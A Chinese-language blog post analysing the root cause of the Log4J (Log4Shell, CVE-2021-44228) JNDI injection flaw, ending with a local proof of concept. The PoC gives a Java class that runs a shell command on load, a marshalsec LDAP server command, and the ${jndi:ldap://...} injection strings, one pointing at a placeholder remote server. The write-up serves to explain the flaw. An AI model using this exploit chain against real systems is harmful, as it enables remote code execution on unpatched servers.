12 月 10 日凌晨爆出的 Log4J 漏洞引起了广泛关注,被称为“核弹级”漏洞。费了一番功夫搞懂了来龙去脉,就用本文来剖析下漏洞根因。
前置知识:JNDI
Java 命名和目录接口 (JNDI) 为使用 Java 编写的应用程序提供命名和目录功能,以一种统一的接口形式支持 LDAP、DNS、RMI 等丰富的 SPI 实现,允许 Java 程序通过名称向目录服务查找并检出数据与对象。
图源:https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
另一方面,轻型目录访问协议 (LDAP) 等协议能够提供 Java 对象的目录存储范式[3]。
LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory:
- Using Java serialization https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html
- Using JNDI References https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html
其中取回的 Java 对象将被解码并最终被 Jdni Manager 执行——也就是支持远程代码执行。
public void run() {
Context context = new InitialLdapContext();
context.lookup("jndi:ldap://REMOTE.SERVER.COM:1389/a");
}
LOGGER.error("user not found. username: {}", username);
一般来说,我们会在日志中记录用户输入,并以此来排查用户交互行为导致的各种异常。而这也是该漏洞被称为高危的原因。比如上例中的 username
,一旦恶意用户填充上 ${jndi:ldap://REMOTE.SERVER.COM:1389/a}
(由用户控制的 LDAP 服务器),Log4J 会填充 {}
,而更近一步,因为内容被替换为 ${xxx}
,又触发了 Context.lookup()
, 也就形成了 JNDI Injection
,向应用程序注入恶意代码,从而控制服务器等。
PoC
需要注入的恶意代码,为目标 MacOS 打开 计算器。
public class Injection {
static {
try {
String[] cmd = {"bash", "-c", "open -a /System/Applications/Calculator.app"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
上述代码使用 javac
编译后快速构建 HTTP 文件服务 python -m SimpleHTTPServer
利用 https://github.com/mbechler/marshalsec
搭建 LDAP 服务。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '<http://127.0.0.1:8000/#Injection>' 1389
漏洞程序如下
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) throws IOException, NamingException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String username = br.readLine();
logger.error("user not found. username: {}", username);
}
}
启动漏洞程序并输入 ${jndi:ldap://127.0.0.1:1389}
。
参考
[1]. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
[2]. https://docs.oracle.com/javase/jndi/tutorial/objects/index.html